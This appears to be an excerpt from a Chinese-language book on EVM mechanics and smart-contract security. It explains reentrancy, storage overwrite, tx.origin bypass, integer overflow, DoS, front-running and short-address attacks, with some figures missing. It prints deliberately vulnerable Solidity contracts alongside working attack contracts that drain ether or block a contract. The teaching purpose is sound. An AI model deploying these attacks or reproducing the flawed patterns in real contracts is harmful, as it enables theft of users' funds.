以下都是來自我的新書《解密EVM機制及合約安全漏洞》裏的內容
電子版PDF下載:https://download.csdn.net/download/softgmx/10800947
重入問題
漏洞成立的條件:
- 合約調用帶有足夠的gas
- 有轉賬功能(payable)
- 狀態變量在重入函數調用之後
底層轉賬函數 |
防重入 |
錯誤處理 |
<address>.call.value()() |
NO |
返回false |
<address>.send() |
YES |
返回false |
<address>.transfer() |
YES |
Revert stateDB到調用前狀態 |
<address>.call.value()的實現:
<address>.send()的實現:
<address>.transfer()的實現:
Transfer能在調用失敗時候主動拋出異常的原理:
漏洞案例合約:
contract EtherStore {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}
攻擊合約:
import "EtherStore.sol";
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
function pwnEtherStore() public payable {
require(msg.value >= 1 ether);
etherStore.depositFunds.value(1 ether)();
etherStore.withdrawFunds(1 ether);
}
function collectEther() public {
msg.sender.transfer(this.balance);
}
function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
}
上面就是著名的針對the DAO合約的攻擊原型,導致了ETH分叉成ETH和ETC。
變量覆蓋問題
(1)存儲 hash 碰撞問題
contract PresidentOfCountry {
struct Person {
address[] addr;
uint funds;
}
uint tt=10;
mapping(address => Person) public people;
function f() {
people[msg.sender].addr = [0xca35b7d915458ef540ade6068dfe2f44e8fa733c,
0x14723a09acff6d2a60dcdf7aa4aff308fddc160c,
0xdd870fa1b7c4700f2bd7f44238821c26f7392148];
people[msg.sender].funds = 0x10af;
}
}
看看這份合約的存儲佈局
存儲佈局:
address(addr) = sha3(1)+0
address(addr[0]) = sha3(sha3(1))+0
address(addr[1]) = sha3(sha3(1))+1
address(addr[2]) = sha3(sha3(1))+2
address(funds) = sha3(1)+1
(2)函數內未初始化的儲存指針所帶來的覆寫問題:
Solidity語言也允許用戶自定義struct這種複合數據集,如果struct定義在函數內,那麼它爲局部變量且默認使用storage存儲類型(引用類型),但也可顯式指定爲memory存儲類型。
如果在函數內定義一個未初始化struct結構體,它默認是storage pointer類型,而且會指向的是storage[0]的位置,而這個位置卻是第一個全局變量的位置,這樣會導致全局變量被覆寫,從而引發嚴重的安全問題。
案例合約:
pragma solidity ^0.4.25;
contract Test {
address public owner;
address public a;
struct Seed {
address x;
uint256 y;
}
function Test() {
owner = msg.sender;
a = 0x1111111111111111111111111111111111111111;
}
function fuck_u (uint256 n) public {
Seed s;
s.x = msg.sender;
s.y = n;
}
}
看看局部變量“Seed s;”的默認類型(https://solidity.readthedocs.io/en/v0.5.0/types.html#structs):
調用調用fuck_u方法前:
調用fuck_u方法後:
邏輯錯誤:
容易引起邏輯錯誤的地方,往往是因爲對EVM底層函數調用機制的不熟悉
調用方法 |
失敗返回 |
address.call() |
false |
address.callcode() |
false |
address.delegatecall() |
false |
address.send() |
false |
address.transfer() |
拋出異常,revert StateDB |
案例:
function withdraw(uint256 _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] -= _amount;
etherLeft -= _amount;
msg.sender.send(_amount); //沒有判斷返回值,可能造成轉賬失敗,但餘額被扣
}
另外,需要注意的是,如果call、callcode、delegatecall、send調用的合約地址不存在,也會返回True,這是EVM實現問題
鑑權問題
繞過鑑權通常有以下幾種方法:
- 利用釣魚bypass掉基於tx.origin的鑑權
- 利用回調函數bypass掉基於owner的鑑權
- 通過覆寫storage變量,改變owner的值,能bypass掉所有的鑑權
- 利用錯誤的構造函數
tx.origin指的是最初始發起調用的地址,如果用戶actor通過合約b調用了合約c,對於合約c來說,tx.origin就是用戶actor,而msg.sender纔是合約b,對於鑑權來說,這是十分危險的,這代表着可能導致的釣魚攻擊。
舉例漏洞合約:
pragma solidity >0.4.24;
contract TxUserWallet {
address owner;
constructor() public {
owner = msg.sender;
}
function transferTo(address dest, uint amount) public {
require(tx.origin == owner);
dest.transfer(amount);
}
}
構造攻擊合約:
pragma solidity >0.4.24;
interface TxUserWallet {
function transferTo(address dest, uint amount) external;
}
contract TxAttackWallet {
address owner;
constructor() public {
owner = msg.sender;
}
function() external {
//只要引誘用戶Actor給TxAttackWallet合約轉賬就可以成功bypass TxUserWallet合約的鑑權保護。
TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);
}
}
整數溢出:
原理介紹:
uint 8: [0,0xff]
uint 256:[0,0xffffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffff ]
首先,讓sellerBalance=0xffffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffff;
然後,加2使uint256發生整數溢出:
案例(美鏈):
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
uint cnt = _receivers.length;
//可以構造出一個很大的_value與cnt相乘溢出得到一個小於balances[msg.sender]的值,
//這樣能成功繞過後面的界限保護
uint256 amount = uint256(cnt) * _value;
require(cnt > 0 && cnt <= 20);
require(_value > 0 && balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < cnt; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
Transfer(msg.sender, _receivers[i], _value);
}
return true;
}
拒絕服務
核心思想:
- 讓你程序出現邏輯錯誤
- 讓你gas燃盡,從而無法後續操作
KingOfEther(國王遊戲)被DoS攻擊的合約:
pragma solidity ^0.4.10;
contract PresidentOfCountry {
address public president;
uint256 price;
function PresidentOfCountry(uint256 _price) {
require(_price > 0);
price = _price;
president = msg.sender;
}
function becomePresident() payable {
require(msg.value >= price); // must pay the price to become president
//如果攻擊合約讓transfer返回失敗,那麼誰無法替代黑客的國王地位
president.transfer(price); // we pay the previous president
president = msg.sender; // we crown the new president
price = price * 2; // we double the price to become president
}
}
攻擊合約
contract Attack {
function () { revert(); } //讓調用合約永遠返回失敗
function Attack(address _target) payable {
_target.call.value(msg.value)(bytes4(keccak256("becomePresident()")));
}
}
(2)gas燃盡,無法後續操作
contract DistributeTokens {
address public owner; // gets set somewhere
address[] investors; // array of investors
uint[] investorTokens; // the amount of tokens each investor gets
// ... extra functionality, including transfertoken()
function invest() public payable {
investors.push(msg.sender);
investorTokens.push(msg.value * 5); // 5 times the wei sent
}
function distribute() public {
require(msg.sender == owner); // only owner
// 通過上面的invest 可以控制investors數組長度,當其長度超過一個閥值,這個distribute方法在for循環處就會因爲gas不足而退出,進而無法完成批量轉賬
for(uint i = 0; i < investors.length; i++) {
// here transferToken(to,amount) transfers "amount" of tokens to the address "to"
transferToken(investors[i],investorTokens[i]);
}
}
}
插隊攻擊
兩個要點:
- 作弊(在pending的block中偷看別人的答案)
- 提高gas, 優先成交
僞隨機數問題
礦工可以操縱時間戳
roulette.sol:
contract Roulette {
uint public pastBlockTime; // Forces one bet per block
constructor() public payable {} // initially fund contract
// fallback function used to make a bet
function () public payable {
require(msg.value == 10 ether); // must send 10 ether to play
//可以通過插隊攻擊來優先成交
require(now != pastBlockTime); // only 1 transaction per block
pastBlockTime = now;
//礦工可以操縱出塊的時間戳,以滿足now(block.timestamp) : now % 15 == 0
if(now % 15 == 0) { // winner
msg.sender.transfer(this.balance);
}
}
}
以太短地址攻擊
攻擊目標:
- 交易所
以ERC-20 TOKEN標準的代幣爲例,其transfer方法定義如下:
function transfer(address to, uint tokens) public returns (bool success);
如果我們要給地址0000000000000000000000000123456789012345678901234567890123456700發送2個ETH,
當我們調用transfer函數發送代幣的時候,交易的input數據分爲3個部分(如下圖a):
但如果我傳入的地址最後兩位是00的話,可以不寫,這樣合約在解析參數時,會從下一個參數的高位拿到00來補充,而後面的參數不足32字節,會自動在尾部補上00,這樣我們只取2個ETH, 卻拿到了512個ETH.
如果不對參數的有效性進行校驗,就自動補齊是非常危險的